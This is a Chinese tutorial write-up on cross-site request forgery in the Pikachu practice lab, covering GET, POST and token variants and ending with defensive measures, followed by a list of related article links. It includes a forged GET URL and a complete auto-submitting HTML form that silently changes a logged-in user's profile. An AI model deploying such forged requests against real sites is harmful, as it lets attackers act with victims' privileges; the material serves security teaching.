CSRF(跨站请求伪造)

 

CSRF(跨站请求伪造)概述

Cross-site request forgery 简称为“CSRF”,在CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了。所以CSRF攻击也成为"one click"攻击。

CSRF与XSS的区别:CSRF是借用户的权限完成攻击,攻击者并没有拿到用户的权限,而XSS是直接盗取到了用户的权限,然后实施破坏。

 

 

如何确认一个网站存在CSRF漏洞:

1.  一个网站对关键信息(比如密码等敏感信息)的操作(增删改)是否容易被伪造。

比如:修改管理员账号使,不需要验证旧密码

   对于敏感信息的修改并没有使用安全的token验证

2.  确认凭证的有效期

比如:虽然退出或者关闭了浏览器,但cookie仍然有效,或者session没有及时过期

 

一、CSRF(get)

登陆之后,可以修改个人信息,点击提交,然后进行抓包;

将get请求修改为攻击者伪造的请求,在登陆状态下点击,就可以修改用户信息;

http://192.168.17.111/pikachu-master/pikachu-master/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=12345678922&add=cangzhoui&email=lucy%40pikachu.com&submit=submit

用户点击登录,就可以看到敏感信息已经被修改;

二、CSRF(post)

修改个人信息后,提交并抓包;

Post型的不能通过伪造url来进行攻击,跟xss里post型是一致的。攻击者搭一个页面,诱导用户点进来,当用户点击时会自动向存在csrf的服务器提交post请求来修改个人信息

 

编写一个post.html页面,将这个页面放在放到 Kali 的/var/www/html/pikachu/doge_csrf下,然后启动 apache 服务

<html>

<head>

<script>

window.onload = function() {

  document.getElementById("postsubmit").click();

}         

</script>

</head>

<body>

<form method="post" action="http://192.168.27.156/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">

    <input id="sex" type="text" name="sex" value="girl" />

    <input id="phonenum" type="text" name="phonenum" value=" 123456" />

    <input id="add" type="text" name="add" value="beijing" />

    <input id="email" type="text" name="email" value="vince@pikachu.com" />

    <input id="postsubmit" type="submit" name="submit" value="submit" />

</form>

</body>

</html>

 

 诱导用户点击这个链接,就可以修改信息了

http://192.168.17.111/pikachu/doge_csrf/post.html

 

 

三、CSRF-token

CSRF的主要问题是敏感操作的链接容易被伪造,解决方法就是每次请求都增加一个随机码(长度足够,够随机),后台每次对这个随机码进行验证;

登录 、修改信息、提交、抓包;

可以看到多出来一个token,这个就代表一个随机值,每次刷新出来的token值都是不一样的;

每次提交完访问的都是token_get_edit.php页面;

查看页面源码,会有一个隐藏的token值,并且也可以看到这个每次都有一个token值,再次刷新之后这个token值就会改变

防范措施

   1.对敏感信息的操作增加安全的token;

   (对关键操作增加token参数,token值必须随机,每次都不一样)

   2.安全的会话管理,避免会话被利用

  (不在客户端保存敏感信息,比如身份认证信息;

     测试直接关闭;

     设置会话过期机制,比如15分钟内无操作,则自动登录超时)

   3.对敏感信息的操作增加安全的验证码;

   (一般在登录时候,也可以在其他重要信息操作的表单<要考虑到可用性>)

   4.对敏感信息的操作实施安全的逻辑流程,

   (修改密码时,需要先校验旧密码;

     敏感信息的修改使用post,而不是get;

     通过http头部中的referer来限制页面)

pikaqiu练习平台(CSRF(跨站请求伪造) )的更多相关文章

  1. 教你轻松解决CSRF跨站请求伪造攻击

    摘要:CSRF(Cross-site request forgery)跨站请求伪造,通过伪装来自受信任用户的请求来利用受信任的网站.与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也 ...

  2. python CSRF跨站请求伪造

    python CSRF跨站请求伪造 <!DOCTYPE html> <html lang="en"> <head> <meta chars ...

  3. Django之CSRF跨站请求伪造(老掉牙的钓鱼网站模拟)

    首先这是一个测试的代码 请先在setting页面进行下面操作 注释完成后,开始模拟钓鱼网站的跨站请求伪造操作: 前端代码: <!DOCTYPE html> <html lang=&q ...

  4. ajax向Django前后端提交请求和CSRF跨站请求伪造

    1.ajax登录示例 urls.py from django.conf.urls import url from django.contrib import admin from app01 impo ...

  5. python 全栈开发,Day87(ajax登录示例,CSRF跨站请求伪造,Django的中间件,自定义分页)

    一.ajax登录示例 新建项目login_ajax 修改urls.py,增加路径 from app01 import views urlpatterns = [ path('admin/', admi ...

  6. 第三百一十五节,Django框架,CSRF跨站请求伪造

    第三百一十五节,Django框架,CSRF跨站请求伪造  全局CSRF 如果要启用防止CSRF跨站请求伪造,就需要在中间件开启CSRF #中间件 MIDDLEWARE = [ 'django.midd ...

  7. Django中的CSRF(跨站请求伪造)

    Django中的CSRF(跨站请求伪造) Django CSRF  什么是CSFR 即跨站请求伪装,就是通常所说的钓鱼网站. 钓鱼网站的页面和正经网站的页面对浏览器来说有什么区别? (页面是怎么来的? ...

  8. Django框架 之 基于Ajax中csrf跨站请求伪造

    Django框架 之 基于Ajax中csrf跨站请求伪造 ajax中csrf跨站请求伪造 方式一 1 2 3 $.ajaxSetup({     data: {csrfmiddlewaretoken: ...

  9. 十三 Django框架,CSRF跨站请求伪造

     全局CSRF 如果要启用防止CSRF跨站请求伪造,就需要在中间件开启CSRF #中间件 MIDDLEWARE = [ 'django.middleware.security.SecurityMidd ...

随机推荐

  1. SQL Server 2012 下载和安装详细教程

    https://blog.csdn.net/qq_37591637/article/details/93102794 选择图片中的三个,然后点击下载 ,文件内存很大 下载以后,如图所示,双击.exe程 ...

  2. 嵊州D2T4 十七个中毒的英国人 poisoning

    嵊州D2T4 十七个中毒的英国人 poisoning 利内罗女士准备来到意大利进行修行. 意大利由 n 个城市和 m 条道路构成,道路是双向的. 到达第 i 个城市时,她可以取得该城市的全部信仰,并获 ...

  3. CF575A Fibonotci [线段树+矩阵快速幂]

    题意 \(s\{\}\) 是一个循环数列 循环节为 \(n\),你可以改掉 \(m\) 项,这 \(m\) 项独立,且不影响循环节 考虑线段树维护矩阵,单点修改最多m次,每次矩阵快速幂就完事了 // ...

  4. conda使用以前安装的python环境

    在装anaconda时,很多时候,我们自己之前安装了python环境,里面装了很多的包,不想换,所以想直接使用原来的python环境,所以可以使用以下命令: conda create --prefix ...

  5. PAT (Advanced Level) Practice 1011 World Cup Betting (20 分) (找最值)

    With the 2010 FIFA World Cup running, football fans the world over were becoming increasingly excite ...

  6. 3.Docker Compose 部署 GitLab

    什么是 GitLab GitLab 是利用 Ruby on Rails 一个开源的版本管理系统,实现一个自托管的 Git 项目仓库,可通过 Web 界面进行访问公开的或者私人项目.它拥有与 Githu ...

  7. DFS-B - Dr. Evil Underscores

    B - Dr. Evil Underscores Today, as a friendship gift, Bakry gave Badawy nn integers a1,a2,…,ana1,a2, ...

  8. python3-cookbook笔记:第一章 数据结构和算法

    python3-cookbook中每个小节以问题.解决方案和讨论三个部分探讨了Python3在某类问题中的最优解决方式,或者说是探讨Python3本身的数据结构.函数.类等特性在某类问题上如何更好地使 ...

  9. 常用网络命令 在windows下

    1.增加一条临时静态路由 格式:route add <目的网络地址> mask <目的网络子网掩码> <网关> 实例:route add 0.0.0.0 mask ...

  10. windows下安装配置subline+Markdown

    安装环境:win10 64bit 1. 安装subline3 subline : http://www.sublimetextcn.com/  直接下载安装,不用激活(dao版,慎用) 2. 安装Ma ...